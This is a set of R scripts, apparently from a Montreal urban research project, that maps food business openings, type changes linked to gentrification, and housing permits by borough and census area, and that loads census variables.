# graph 4:Openings-closings
full_join(total_ferme_by_borough_alexia, total_ouvert_by_borough_alexia, by = c("borough", "type", "date")) %>%
filter(borough=="Mercier-Hochelaga-Maisonneuve") %>%
mutate(total_ouvert = ifelse(is.na(total_ouvert), 0, total_ouvert)) %>%
mutate(total_ferme = ifelse(is.na(total_ferme), 0, total_ferme)) %>%
mutate(ratio_open_to_closed = total_ouvert/total_ferme) %>%
mutate(positive_negative = total_ouvert - total_ferme) %>%
ggplot()+
geom_smooth(aes(x=date, y=positive_negative, color=type), se=FALSE)+
facet_wrap(~borough)+
theme_minimal()+
ggtitle("Mercier-Hochelaga-Maisonneuve: Total openings - total closings (2011-2020)")+
labs(x = "Year", y ="Count", fill = "Type")+
theme(legend.position = "bottom")+
scale_color_manual(name="Type of food\nbusiness",
values=col_palette[c(1:5)])
# Cloé's grouped addresses----------------------------------------------------------------------------------------
load("output/food_businesses.Rdata")
load("output/province.Rdata")
load("output/geometry.Rdata")
load("output/food_businesses.Rdata")
# Alexia's categories ----------------------------------------------------------------------
cafes <-c("Bar laitier", "Casse-croûte",
"Café, thé, infusion, tisane")
restaurants <- c("Restaurant", "Restaurant mets pour emporter", "Restaurant service rapide")
industrial <- c("Usine de produits laitiers","Usine de produits marins","Usine produit autre",
"Fabrique de boissons gazeuses","Distributeur en gros de fruits et légumes frais",
"Distributeur en gros de produits de la pêche","Distributeur en gros de produits mixtes",
"Distributeur en gros de produits carnés","Distributeur en gros de produits laitiers",
"Distributeur en gros de succédanés de produits laitiers","Entrepôt","Entrepôt de produits laitiers",
"Entrepôt de produits mixtes","Entrepôt de produits végétaux","Entrepôt d'eau",
"Distributeur en gros d'eau","Atelier de conditionnement de produits de la pêche",
"Camion de distribution de produits carnés","Camion de distribution de produits de la pêche",
"Camion de distribution de produits laitiers","Découpe à forfait","Ramasseur de lait",
"Site d'eau vendue au volume","Usine d'emballage de glace","Véhicule livraison",
"Local de préparation","Fruits et légumes prêts à l'emploi","Pâtes alimentaires",
"Produits à base de protéines végétales", "Usine d'embouteillage d'eau")
bars <-c("Bar salon, taverne", "Brasserie")
grocery <-c("Épicerie", "Épicerie avec préparation", "Supermarché",
"Magasin à rayons")
specialized <-c("Aliments naturels", "Boucherie", "Boucherie-épicerie",
"Boulangerie", "Charcuterie", "Charcuterie/fromage", "Pâtisserie",
"Pâtisserie-dépôt", "Poissonnerie", "Confiserie/chocolaterie",
"Marché public", "Noix et arachides")
ephemeral <-c("Événements spéciaux", "Camion-cuisine", "Cantine mobile",
"Vendeur itinérant", "Traiteur", "Kiosque", "Bar laitier saisonnier")
institutional <- c("Cafétéria institution d'enseignement",
"École/mesures alimentaires", "Garderie",
"Hôpital", "Organisme d'aide alimentaire",
"Centre d'accueil","Résidence de personnes âgées",
"Cafétéria")
others <- c("Autres", "Cuisine domestique", "Distributrice automatique",
"Cabane à sucre", "Camp de vacances")
# Clean the sf dataset with new categories ----------------------------------------
food_businesses_sf <-
food_businesses_sf %>%
mutate(type = ifelse(type %in% industrial, "Industrial", type),
type = ifelse(type %in% grocery, "General grocery", type),
type = ifelse(type %in% bars, "Bars", type),
type = ifelse(type %in% ephemeral, "Ephemeral", type),
type = ifelse(type %in% institutional, "Institutional", type),
type = ifelse(type %in% specialized, "Specialized", type),
type = ifelse(type %in% others, "Other", type),
type = ifelse(type %in% cafes, "Cafes", type),
type = ifelse(type %in% restaurants, "Restaurants", type))
food_businesses_sf <-
food_businesses_sf %>%
filter(type != "Ephemeral") %>%
#filter(type != "Institutional") %>%
#filter(type != "Industrial") %>%
filter(type != "Other")
# Join with borough --------------------------------------------------
food_businesses_borough <-
food_businesses_sf %>%
st_join(boroughs, .) %>%
st_drop_geometry()
# Clean but with no geometry --------------------------------------------------
food_businesses <-
food_businesses_sf %>%
st_drop_geometry()
# Verify its clean ------------------------------------------------------------
unique(food_businesses$type)
# % ferme et % ouvert out of all categories -----------------------------------
total_status_by_borough <-
food_businesses_borough %>%
mutate(date = year(date)) %>%
filter(date>=2011 & date!=2021) %>%
filter(statut == "Fermé" | statut == "Ouvert") %>%
count(borough, statut, date) %>%
rename(total=n)
# Filter to not have 30830982082 plots
top_10_boroughs <-
boroughs %>%
mutate(dwelling_density = dwellings/st_area(geometry)) %>%
arrange(desc(dwelling_density)) %>%
slice(1:10) %>%
pull(borough)
# Gentrifying boroughs, without Ville-Marie
boroughs_of_interest <- c("Côte-des-Neiges-Notre-Dame-de-Grâce", "Rosemont-La Petite-Patrie",
"Mercier-Hochelaga-Maisonneuve", "Villeray-Saint-Michel-Parc-Extension",
"Le Plateau-Mont-Royal", "Ahuntsic-Cartierville", "Le Sud-Ouest",
"Verdun")
food_businesses_borough %>%
mutate(date = year(date)) %>%
filter(date>=2011 & date!=2021) %>%
filter(statut == "Fermé" | statut == "Ouvert") %>%
count(borough, statut, date, type) %>%
full_join(., total_status_by_borough, by = c("borough", "statut", "date")) %>%
filter(borough %in% top_10_boroughs) %>%
mutate(percentage = n/total) %>%
filter(statut == "Ouvert") %>%
ggplot()+
#geom_bar(aes(x=date, y=percentage, fill=type),position = "fill",stat = "identity")+ #Looks ugly
geom_smooth(aes(x=date, y= percentage, color=type), se=FALSE)+
facet_wrap(~borough)+
scale_color_manual(name="Type of food\nbusiness",
values=col_palette[c(1:5)])+
scale_y_continuous(name = "Percentage share by type",
labels=scales::percent)+
theme_minimal()
# ratio open-to-close by year by borough by type ------------------------------
total_ferme_by_borough <-
food_businesses_borough %>%
mutate(date = year(date)) %>%
filter(date>=2011 & date!=2021) %>%
filter(statut == "Fermé") %>%
count(borough, date, type) %>%
rename(total_ferme=n)
total_ouvert_by_borough <-
food_businesses_borough %>%
mutate(date = year(date)) %>%
filter(date>=2011 & date!=2021) %>%
filter(statut == "Ouvert") %>%
count(borough, date, type) %>%
rename(total_ouvert=n)
full_join(total_ferme_by_borough, total_ouvert_by_borough, by = c("borough", "type", "date")) %>%
filter(borough %in% top_10_boroughs) %>%
mutate(total_ouvert = ifelse(is.na(total_ouvert), 0, total_ouvert)) %>%
mutate(total_ferme = ifelse(is.na(total_ferme), 0, total_ferme)) %>%
mutate(ratio_open_to_closed = total_ouvert/total_ferme) %>%
mutate(positive_negative = total_ouvert - total_ferme) %>%
ggplot()+
geom_smooth(aes(x=date, y=positive_negative, color=type), se=FALSE)+
facet_wrap(~borough)+
theme_minimal()
# Food businesses open in 2020 --------------------------------------------------
years <-
food_businesses %>%
filter(statut == "Ouvert") %>%
distinct(name, address, .keep_all = TRUE) %>%
mutate(year = year(date)) %>%
filter(year != 2021) %>%
mutate(duplicates = 2020 - year + 1) %>%
mutate(name_address = paste(name, address)) %>%
group_by(name_address) %>%
expand(duplicates = seq(1:duplicates))
food_businesses_open <-
food_businesses %>%
filter(statut == "Ouvert") %>%
distinct(name, address, .keep_all = TRUE) %>%
mutate(year = year(date)) %>%
filter(year != 2021) %>%
mutate(name_address = paste(name, address))
food_businesses_2019 <-
full_join(food_businesses_open, years, by="name_address") %>%
mutate(year = year + (duplicates - 1)) %>%
filter(year == 2019) %>%
left_join(., food_businesses_sf %>% select(id), by = "id") %>%
st_as_sf()
food_businesses_2020 <-
full_join(food_businesses_open, years, by="name_address") %>%
mutate(year = year + (duplicates - 1)) %>%
filter(year == 2020) %>%
left_join(., food_businesses_sf %>% select(id), by = "id") %>%
st_as_sf()
# Changes in type by address ------------------------------------------------------------
groups <-
food_businesses %>%
select(-city, -statut) %>%
distinct(address, date, .keep_all=TRUE) %>%
arrange(date) %>%
group_by(address) %>%
mutate(group_id = row_number())
group1 <-
groups %>%
filter(group_id == 1) %>%
select(-group_id)
group2 <-
groups %>%
filter(group_id == 2) %>%
select(-group_id)
group3 <-
groups %>%
filter(group_id == 3) %>%
select(-group_id)
group4 <-
groups %>%
filter(group_id == 4) %>%
select(-group_id)
group5 <-
groups %>%
filter(group_id == 5) %>%
select(-group_id)
group6 <-
groups %>%
filter(group_id == 6) %>%
select(-group_id)
group7 <-
groups %>%
filter(group_id == 7) %>%
select(-group_id)
group8 <-
groups %>%
filter(group_id == 8) %>%
select(-group_id)
group9 <-
groups %>%
filter(group_id == 9) %>%
select(-group_id)
group10 <-
groups %>%
filter(group_id == 10) %>%
select(-group_id)
group11 <-
groups %>%
filter(group_id == 11) %>%
select(-group_id)
group12 <-
groups %>%
filter(group_id == 12) %>%
select(-group_id)
group13 <-
groups %>%
filter(group_id == 13) %>%
select(-group_id)
group14 <-
groups %>%
filter(group_id == 14) %>%
select(-group_id)
group15 <-
groups %>%
filter(group_id == 15) %>%
select(-group_id)
group1_2 <- right_join(group1, group2, by="address")
group2_3 <- right_join(group2, group3, by="address")
group3_4 <- right_join(group3, group4, by="address")
group4_5 <- right_join(group4, group5, by="address")
group5_6 <- right_join(group5, group6, by="address")
group6_7 <- right_join(group6, group7, by="address")
group7_8 <- right_join(group7, group8, by="address")
group8_9 <- right_join(group8, group9, by="address")
group9_10 <- right_join(group9, group10, by="address")
group10_11 <- right_join(group10, group11, by="address")
group11_12 <- right_join(group11, group12, by="address")
group12_13 <- right_join(group12, group13, by="address")
group13_14 <- right_join(group13, group14, by="address")
group14_15 <- right_join(group14, group15, by="address")
switches <-
rbind(group1_2, group2_3, group3_4, group4_5, group5_6,
group6_7, group7_8, group8_9, group9_10, group10_11,
group11_12, group12_13, group13_14, group14_15)
# save output
save(switches, switches, file = "output/switches.Rdata")
# load output
load("output/switches.Rdata")
non_gentrifying <- c("General grocery", "Institutional", "Industrial")
gentrifying <- c("Restaurants", "Bars", "Specialized", "Cafes")
switches_sf <-
switches %>%
mutate(transition = ifelse(type.x %in% non_gentrifying & type.y %in% gentrifying, TRUE, FALSE)) %>%
filter(transition == TRUE) %>%
mutate(date.x = year(date.x),
date.y = year(date.y),
number_years = date.y-date.x) %>%
filter(number_years <5) %>%
left_join(., food_businesses_sf %>% select(address), by="address") %>%
st_as_sf() %>%
distinct(id.x, .keep_all=TRUE) %>%
filter(date.y >=2011)
unique(food_businesses$type)
# save output
save(switches_sf, switches_sf, file = "output/switches_sf.Rdata")
# load output
load("output/switches_sf.Rdata")
#Number of switches from non-gentrifying to gentrified per year all one map
switches_sf %>%
filter(date.y < 2021) %>%
ggplot()+
geom_sf(data=province, fill="grey90", color=NA) +
geom_sf(data=boroughs, fill=NA, color="black")+
geom_sf(aes(color=date.y), size=1, alpha=0.5)+
scale_color_viridis_c(name="Date")+
#facet_wrap(~date.y)+
#upgo::gg_bbox(boroughs)+
coord_sf(xlim = c(582274, 618631), ylim = c(5029928, 5062237),
expand = FALSE)+
theme_void()+
ggtitle("Number of switches from non-gentrifying to gentrified per year")
#Number of switches per 1000 households
switches_sf %>%
st_join(boroughs, .) %>%
filter(date.y < 2021) %>%
mutate(dwellings_1000=dwellings/1000) %>%
group_by(borough, date.y, dwellings_1000) %>%
summarize(n=n(), n_density=n()/(sum(dwellings_1000)/n())) %>%
ggplot()+
geom_sf(data=province, fill="grey90", color=NA) +
geom_sf(data=boroughs, fill=NA, color="black")+
geom_sf(aes(fill=n_density), color=NA)+
scale_fill_gradientn(name="Number of switches\nper 1000 households",
colors=col_palette[c(4,1,9)])+
facet_wrap(~date.y)+
# upgo::gg_bbox(boroughs)+
coord_sf(xlim = c(582274, 618631), ylim = c(5029928, 5062237),
expand = FALSE)+
theme_void()
#Number of switches per year borough level
switches_sf %>%
st_join(boroughs, .) %>%
filter(date.y < 2021) %>%
group_by(date.y, dwellings) %>%
summarize(n=n()) %>%
ggplot()+
geom_sf(data=province, fill="grey90", color=NA) +
geom_sf(data=boroughs, fill=NA, color="black")+
geom_sf(aes(fill=n), color=NA)+
scale_fill_gradientn(name="Number of switches",
colors=col_palette[c(4,1,9)])+
facet_wrap(~date.y)+
#upgo::gg_bbox(boroughs)+
coord_sf(xlim = c(582274, 618631), ylim = c(5029928, 5062237),
expand = FALSE)+
theme_void()
#250 grid-----------------------------------------------------------------------
install.packages("qs")
library(qs)
install.packages("future")
library(future)
grid <- qread("output/grid.qs", nthreads = availableCores())
grid <-
grid %>%
st_transform(32618) %>%
select(ID)
#if you select just a column in select in an sf, it will also keep the geometry
#unless if you say sf_drop(geometry)
#Number of switches from non-gentrifying to gentrified per year all one map
switches_sf %>%
filter(date.y < 2021) %>%
ggplot()+
geom_sf(data=province, fill="grey90", color=NA) +
#geom_sf(data=boroughs, fill=NA, color="black")+
geom_sf(data=grid, fill=NA, color="grey")+
geom_sf(aes(color=date.y), size=1, alpha=0.5)+
scale_color_viridis_c(name="Date")+
#facet_wrap(~date.y)+
#upgo::gg_bbox(boroughs)+
coord_sf(xlim = c(582274, 618631), ylim = c(5029928, 5062237),
expand = FALSE)+
theme_void()+
ggtitle("Number of switches from non-gentrifying to gentrified per year")
#Number of switches per year per borough
switches_sf %>%
st_join(boroughs, .) %>%
filter(date.y < 2021) %>%
group_by(borough, date.y, dwellings) %>%
summarize(n=n()) %>%
ggplot()+
geom_sf(data=province, fill="grey90", color=NA) +
geom_sf(data=grid, fill=NA, color="grey")+
geom_sf(aes(fill=n), color=NA)+
scale_fill_gradientn(name="Number of switches",
colors=col_palette[c(4,1,9)])+
facet_wrap(~date.y)+
#upgo::gg_bbox(boroughs)+
coord_sf(xlim = c(582274, 618631), ylim = c(5029928, 5062237),
expand = FALSE)+
theme_void()
#Number of switches per year facet_wrap per year
switches_sf %>%
filter(date.y < 2021) %>%
ggplot()+
geom_sf(data=province, fill="grey90", color=NA) +
#geom_sf(data=boroughs, fill=NA, color="black")+
geom_sf(data=grid, fill=NA, color="grey")+
geom_sf(aes(date.y), size=1, alpha=0.5)+
# geom_sf(aes(color=date.y), size=1, alpha=0.5)+
# scale_color_viridis_c(name="Date")+
facet_wrap(~date.y)+
#upgo::gg_bbox(boroughs)+
coord_sf(xlim = c(582274, 618631), ylim = c(5029928, 5062237),
expand = FALSE)+
theme_void()+
ggtitle("Number of switches from non-gentrifying to gentrified per year")
#Number of switches per year per grid
switches_sf %>%
st_join(grid, .) %>%
filter(date.y < 2021) %>%
group_by(date.y, CSDUID) %>%
summarize(n=n()) %>%
ggplot()+
geom_sf(data=province, fill="grey90", color=NA) +
#geom_sf(data=grid, fill=NA, color="grey")+
geom_sf(aes(fill=n), color=NA)+
scale_fill_gradientn(name="Number of switches",
colors=col_palette[c(4,1,9)])+
facet_wrap(~date.y)+
#upgo::gg_bbox(boroughs)+
coord_sf(xlim = c(582274, 618631), ylim = c(5029928, 5062237),
expand = FALSE)+
theme_void()
# Concentration of gentrifying businesses in 2019
# This code below currently doesn't work
# Bring back spatial component to food_businesses_open
food_businesses_open <-
food_businesses_open %>%
left_join(., food_businesses_sf %>% select(id), by = "id") %>%
st_as_sf()
food_businesses_open_grid <-
food_businesses_open %>%
st_join(grid, .) %>%
group_by(CSDUID, type) %>%
filter(!type=="NA") %>%
summarize(n_open=n())
food_businesses_2019 %>%
st_join(grid, .) %>%
filter(type %in% gentrifying) %>%
group_by(CSDUID, type) %>%
summarize(n_open_gentrified_2019=n()) %>%
merge(food_businesses_open_grid) %>%
#st_join(food_businesses_open_grid, by="CSDUID", x=TRUE) %>%
#left_join(., food_businesses_open_grid, by="CSDUID") %>%
group_by(CSDUID) %>%
mutate(percentage=(n_open_gentrified_2019/n_open)*100) %>%
ggplot()+
geom_sf(data=province, fill="grey90", color=NA) +
geom_sf(data=boroughs, fill=NA, color="black")+
geom_sf(aes(fill=percentage), color=NA)+
scale_fill_gradientn(name="Percentage of open businesses that are gentrified in 2019",
colors=col_palette[c(4,1,9)])+
coord_sf(xlim = c(582274, 618631), ylim = c(5029928, 5062237),
expand = FALSE)+
theme_void()
#Cloe's code
# Concentration of restaurants, bars, cafes and specialized stores
food_businesses_2019_type <-
food_businesses_2019 %>%
mutate(gentrifying = ifelse(type %in% gentrifying, TRUE, FALSE)) %>%
st_join(grid, .) %>%
group_by(ID, gentrifying) %>%
summarize(number_businesses = n()) %>%
st_drop_geometry()
food_businesses_2019_total <-
food_businesses_2019 %>%
st_join(grid, .) %>%
group_by(ID) %>%
summarize(total = n())
left_join(food_businesses_2019_type, food_businesses_2019_total, by = "ID") %>%
mutate(percentage=number_businesses/total) %>%
filter(gentrifying == TRUE) %>%
filter(percentage <1) %>%
st_as_sf() %>%
ggplot()+
geom_sf(data=province, fill="grey90", color=NA) +
geom_sf(aes(fill=percentage), color=NA)+
# geom_sf(data=grid, fill=NA, color="grey")+
scale_fill_gradientn(name="Percentage",
colors=col_palette[c(4,1,9)],
labels = scales::percent)+
coord_sf(xlim = c(582274, 618631), ylim = c(5029928, 5062237),
expand = FALSE)+
theme_void()+
ggtitle("Concentration of restaurants, bars, cafes and specialized stores per total businesses in 2019")
#Just restaurants
food_businesses_2019_type <-
food_businesses_2019 %>%
filter(type == "Restaurants") %>%
st_join(grid, .) %>%
filter(!is.na(id)) %>%
group_by(ID) %>%
summarize(number_businesses = n()) %>%
st_drop_geometry()
food_businesses_2019_total <-
food_businesses_2019 %>%
st_join(grid, .) %>%
filter(!is.na(id)) %>%
group_by(ID) %>%
summarize(total = n())
left_join(food_businesses_2019_type, food_businesses_2019_total, by = "ID") %>%
mutate(percentage=number_businesses/total) %>%
filter(percentage <1) %>%
st_as_sf() %>%
#filter(gentrifying == TRUE) %>%
ggplot()+
geom_sf(data=province, fill="grey90", color=NA) +
geom_sf(aes(fill=percentage), color=NA)+
scale_fill_gradientn(name="Percentage",
colors=col_palette[c(4,1,9)],
labels = scales::percent)+
coord_sf(xlim = c(582274, 618631), ylim = c(5029928, 5062237),
expand = FALSE)+
theme_void()+
ggtitle("Concentration of restaurants per total businesses in 2019")
<file_sep>/R/10_housing_module_graphs.R
######### 10 GRAPHICS TO INCLUDE IN THE HOUSING MODULE ########################################
source("R/01_startup.R")
library(gganimate)
library(transformr)
load("output/geometry.Rdata")
#load("output/cmhc.Rdata")
load("output/prmits_processed.Rdata")
# Graph 1: Permits emitted for combinations ----------------------------------------------------------
combined_dwellings_data <-
combined_dwellings %>%
filter(issued_date <= 2020) %>%
mutate(date_range = ifelse(issued_date >= 1990 & issued_date < 1995, "[1990-1995[", issued_date)) %>%
mutate(date_range = ifelse(issued_date >= 1995 & issued_date < 2000, "[1995-2000[", date_range)) %>%
mutate(date_range = ifelse(issued_date >= 2000 & issued_date < 2005, "[2000-2005[", date_range)) %>%
mutate(date_range = ifelse(issued_date >= 2005 & issued_date < 2010, "[2005-2010[", date_range)) %>%
mutate(date_range = ifelse(issued_date >= 2010 & issued_date < 2015, "[2010-2015[", date_range)) %>%
mutate(date_range = ifelse(issued_date >= 2015 & issued_date <= 2020, "[2015-2020]", date_range)) %>%
st_join(DA, .) %>%
filter(!is.na(date_range)) %>%
group_by(GeoUID, date_range) %>%
summarize(n_date_range = sum(n(), na.rm = TRUE))
combination_map <-
combined_dwellings_data %>%
ggplot()+
geom_sf(data = province, fill="grey90", color=NA)+
geom_sf(aes(fill=n_date_range), color=NA)+
scale_fill_gradientn(name="Number of permits",
# n.breaks = 5,
# breaks = c(1, 2, 3, 4, 5),
colours=col_palette[c(4, 1, 9)], #, 4,1,2,9,10
limits = c(1, 5),
oob = scales::squish)+
coord_sf(xlim = c(597000, 619000), ylim = c(5030500, 5055000),
expand = FALSE) +
ggtitle("Number of permits emitted for dwelling combinations by date range")+
theme_void()+
facet_wrap(~date_range)
ggsave("output/figures/combination_map.pdf", plot = combination_map, width = 8,
height = 4.2, units = "in", useDingbats = FALSE)
# Graph 2: Units lost to combinations ----------------------------------------------------------
combination_loss_data <-
combined_dwellings %>%
filter(issued_date <= 2020) %>%
mutate(date_range = ifelse(issued_date >= 1990 & issued_date < 1995, "[1990-1995[", issued_date)) %>%
mutate(date_range = ifelse(issued_date >= 1995 & issued_date < 2000, "[1995-2000[", date_range)) %>%
mutate(date_range = ifelse(issued_date >= 2000 & issued_date < 2005, "[2000-2005[", date_range)) %>%
mutate(date_range = ifelse(issued_date >= 2005 & issued_date < 2010, "[2005-2010[", date_range)) %>%
mutate(date_range = ifelse(issued_date >= 2010 & issued_date < 2015, "[2010-2015[", date_range)) %>%
mutate(date_range = ifelse(issued_date >= 2015 & issued_date <= 2020, "[2015-2020]", date_range)) %>%
st_join(DA, .) %>%
filter(!is.na(date_range)) %>%
group_by(GeoUID, date_range) %>%
summarize(n_date_range = sum(nb_dwellings, na.rm = TRUE))
combination_loss_map <-
combination_loss_data %>%
ggplot()+
geom_sf(data = province, fill="grey90", color=NA)+
geom_sf(aes(fill=n_date_range), color=NA)+
scale_fill_gradientn(name="Number of units lost",
# n.breaks = 5,
# breaks = c(-40, -30, -20, -10, 1),
colours=col_palette[c(9, 2, 1, 4)],
limits = c(-10, 0),
oob = scales::squish)+
coord_sf(xlim = c(597000, 619000), ylim = c(5030500, 5055000),
expand = FALSE) +
ggtitle("Number of housing units loss to combinations by date range")+
theme_void()+
facet_wrap(~date_range)
ggsave("output/figures/combination_loss_map.pdf", plot = combination_loss_map, width = 8,
height = 4.2, units = "in", useDingbats = FALSE)
# Graph 3: Permits emitted for condo conversions ----------------------------------------------------------
conversion_map_data <-
condo_conversions %>%
filter(issued_date <= 2020) %>%
mutate(date_range = ifelse(issued_date >= 1990 & issued_date < 1995, "[1990-1995[", issued_date)) %>%
mutate(date_range = ifelse(issued_date >= 1995 & issued_date < 2000, "[1995-2000[", date_range)) %>%
mutate(date_range = ifelse(issued_date >= 2000 & issued_date < 2005, "[2000-2005[", date_range)) %>%
mutate(date_range = ifelse(issued_date >= 2005 & issued_date < 2010, "[2005-2010[", date_range)) %>%
mutate(date_range = ifelse(issued_date >= 2010 & issued_date < 2015, "[2010-2015[", date_range)) %>%
mutate(date_range = ifelse(issued_date >= 2015 & issued_date <= 2020, "[2015-2020]", date_range)) %>%
select(-borough) %>%
st_join(DA, .) %>%
group_by(GeoUID, date_range) %>%
summarize(number_conversions = n()) %>%
filter(!is.na(date_range))
conversion_map <-
conversion_map_data %>%
ggplot()+
geom_sf(data = province, fill="grey90", color=NA)+
geom_sf(aes(fill=number_conversions), color=NA)+
scale_fill_stepsn(name="Number of permits",
n.breaks = 2,
breaks = c(2, 3),
colours=col_palette[c(4, 1, 10)],
limits = c(1, 4),
oob = scales::squish)+
coord_sf(xlim = c(597000, 619000), ylim = c(5030500, 5055000),
expand = FALSE) +
ggtitle("Number of condominium conversions")+
facet_wrap(~date_range)+
theme_void()
ggsave("output/figures/conversion_map.pdf", plot = conversion_map, width = 8,
height = 4.2, units = "in", useDingbats = FALSE)
# Graph 4: Number of new units built ----------------------------------------------------------
new_construction_data <-
new_construction %>%
set_names(c("civic_start", "civic_end", "street_name", "annee_construction", "number_dwellings", "geometry")) %>%
mutate(date_range = ifelse(annee_construction >= 1990 & annee_construction < 1995, "[1990-1995[", "TBD")) %>%
mutate(date_range = ifelse(annee_construction >= 1995 & annee_construction < 2000, "[1995-2000[", date_range)) %>%
mutate(date_range = ifelse(annee_construction >= 2000 & annee_construction < 2005, "[2000-2005[", date_range)) %>%
mutate(date_range = ifelse(annee_construction >= 2005 & annee_construction < 2010, "[2005-2010[", date_range)) %>%
mutate(date_range = ifelse(annee_construction >= 2010 & annee_construction < 2015, "[2010-2015[", date_range)) %>%
mutate(date_range = ifelse(annee_construction >= 2015 & annee_construction <= 2020, "[2015-2020]", date_range)) %>%
st_as_sf() %>%
st_join(DA, .) %>%
filter(!is.na(date_range)) %>%
group_by(GeoUID, date_range) %>%
summarize(n_date_range = n(),
dwellings_date_range = sum(number_dwellings, na.rm = TRUE))
#construction_map <-
new_construction_data %>%
ggplot()+
geom_sf(data = province, fill="grey90", color=NA)+
geom_sf(aes(fill=n_date_range), color=NA)+
scale_fill_gradientn(name="Number of buildings",
colours=col_palette[c(4, 1, 2, 9)],
limits = c(10, 200),
oob = scales::squish)+
coord_sf(xlim = c(597000, 619000), ylim = c(5030500, 5055000),
expand = FALSE) +
ggtitle("Number of new residential buildings built by date range")+
theme_void()+
facet_wrap(~date_range)
ggsave("output/figures/construction_map.pdf", plot = construction_map, width = 8,
height = 4.2, units = "in", useDingbats = FALSE)
construction_map <-
new_construction_data %>%
ggplot()+
geom_sf(data = province, fill="grey90", color=NA)+
geom_sf(aes(fill=dwellings_date_range), color=NA)+
scale_fill_gradientn(name="Number of units",
colours=col_palette[c(4, 1, 2, 9)],
limits = c(10, 1000),
oob = scales::squish)+
coord_sf(xlim = c(597000, 619000), ylim = c(5030500, 5055000),
expand = FALSE) +
ggtitle("Number of new residential units built by date range")+
theme_void()+
facet_wrap(~date_range)
ggsave("output/figures/construction_map.pdf", plot = construction_map, width = 8,
height = 4.2, units = "in", useDingbats = FALSE)
# Graph 5: Permits emitted for demolition ----------------------------------------------------------
demolition_data_map <-
demolitions %>%
filter(issued_date <= 2020) %>%
mutate(date_range = ifelse(issued_date >= 1990 & issued_date < 1995, "[1990-1995[", issued_date)) %>%
mutate(date_range = ifelse(issued_date >= 1995 & issued_date < 2000, "[1995-2000[", date_range)) %>%
mutate(date_range = ifelse(issued_date >= 2000 & issued_date < 2005, "[2000-2005[", date_range)) %>%
mutate(date_range = ifelse(issued_date >= 2005 & issued_date < 2010, "[2005-2010[", date_range)) %>%
mutate(date_range = ifelse(issued_date >= 2010 & issued_date < 2015, "[2010-2015[", date_range)) %>%
mutate(date_range = ifelse(issued_date >= 2015 & issued_date <= 2020, "[2015-2020]", date_range)) %>%
st_join(DA, .) %>%
filter(!is.na(date_range)) %>%
group_by(GeoUID, date_range) %>%
summarize(n_date_range = sum(n(), na.rm = TRUE))
demolition_map <-
demolition_data_map %>%
ggplot()+
geom_sf(data = province, fill="grey90", color=NA)+
geom_sf(aes(fill=n_date_range), color=NA)+
scale_fill_gradientn(name="Number of permits",
colours=col_palette[c(4, 1, 2)],
limits = c(0, 5),
oob = scales::squish
)+
coord_sf(xlim = c(597000, 619000), ylim = c(5030500, 5055000),
expand = FALSE) +
ggtitle("Number of demolition permits issued by date range")+
theme_void()+
facet_wrap(~date_range)
ggsave("output/figures/demolition_map.pdf", plot = demolition_map, width = 8,
height = 4.2, units = "in", useDingbats = FALSE)
# Graph 6: Permits emitted for non-structural renovations ----------------------------------------------------------
renovation_data <-
renovations %>%
filter(issued_date <= 2020) %>%
mutate(date_range = ifelse(issued_date >= 1990 & issued_date < 1995, "[1990-1995[", issued_date)) %>%
mutate(date_range = ifelse(issued_date >= 1995 & issued_date < 2000, "[1995-2000[", date_range)) %>%
mutate(date_range = ifelse(issued_date >= 2000 & issued_date < 2005, "[2000-2005[", date_range)) %>%
mutate(date_range = ifelse(issued_date >= 2005 & issued_date < 2010, "[2005-2010[", date_range)) %>%
mutate(date_range = ifelse(issued_date >= 2010 & issued_date < 2015, "[2010-2015[", date_range)) %>%
mutate(date_range = ifelse(issued_date >= 2015 & issued_date <= 2020, "[2015-2020]", date_range)) %>%
st_join(DA, .) %>%
filter(!is.na(date_range)) %>%
group_by(GeoUID, date_range) %>%
summarize(n_date_range = sum(n(), na.rm = TRUE))
renovation_map <-
renovation_data %>%
ggplot()+
geom_sf(data = province, fill="grey90", color=NA)+
geom_sf(aes(fill=n_date_range), color=NA)+
scale_fill_gradientn(name="Number of permits",
colours=col_palette[c(4, 1, 9)],
limits = c(0, 20),
oob = scales::squish
)+
coord_sf(xlim = c(597000, 619000), ylim = c(5030500, 5055000),
expand = FALSE) +
ggtitle("Number of renovation permits issued by date range")+
theme_void()+
facet_wrap(~date_range)
ggsave("output/figures/renovation_map.pdf", plot = renovation_map, width = 8,
height = 4.2, units = "in", useDingbats = FALSE)
# Graph 2: Average rents by year ----------------------------------------------------------
annual_avg_rent %>%
filter(occupied_status == "Occupied Units",
bedroom == "Total") %>%
select(-zone) %>%
full_join(., cmhc, by="zone_name") %>%
st_as_sf() %>%
ggplot()+
geom_sf(aes(fill=avg_rent), color=NA)+
scale_fill_gradientn(name = "Average rent",
colors = col_palette[c(4, 1, 9)],
na.value = "grey80")+
ggtitle("Annual average rent by CMHC zone", subtitle = "Year: {frame_time}")+
transition_time(date)+
theme_void()
# Graph 3: Decades of rent ----------------------------------------------------------
rents_decade %>%
mutate(year = as.numeric(year)) %>%
inner_join(., CT %>% select(GeoUID)) %>%
st_as_sf() %>%
ggplot()+
geom_sf(aes(fill=total), color=NA)+
scale_fill_gradientn(name = "Average rent",
colors = col_palette[c(4, 1, 9)],
na.value = "grey80")+
ggtitle("Annual average rent by CMHC zone", subtitle = "Year: {frame_time}")+
transition_time(year)+
theme_void()
<file_sep>/R/07_aw_test.R
View(cancensus::list_census_vectors("CA06"))
DA <- DA %>%
mutate(p_low_income_AT = p_low_income_AT/100)
DA_06_test <-
get_census(
dataset = "CA06", regions = list(CSD = c("2466023")), level = "DA",
vectors = c("v_CA06_101", "v_CA06_103", "v_CA06_2049", "v_CA06_2051", "v_CA06_2053",
"v_CA06_105", "v_CA06_108", "v_CA06_1303", "v_CA06_1302",
"v_CA06_478", "v_CA06_474", "v_CA06_453", "v_CA06_451", "v_CA06_2018",
"v_CA06_462", "v_CA06_460", "v_CA06_2030", "v_CA06_1981", "v_CA06_1979",
"v_CA06_1292", "v_CA06_1293", "v_CA06_1257", "v_CA06_1258", "v_CA06_1248",
"v_CA06_2050", "v_CA06_2054"),
geo_format = "sf") %>%
st_transform(32618) %>%
select(-c(`Shape Area`:`Quality Flags`, CSD_UID, CT_UID, CD_UID:`Area (sq km)`)) %>%
set_names(c("GeoUID", "population", "dwellings", "tenure_total", "renter",
"repairs_total", "major_repairs", "renter_total", "HH_income_total",
"HH_income_AT_median", "gross_rent_avg",
"thirty_renter", "value_dwellings_total", "value_dwellings_avg", "vm", "vm_total", "immigrants", "immigrants_total",
"mobility_one_year", "mobility_one_year_total", "mobility_five_years", "mobility_five_years_total",
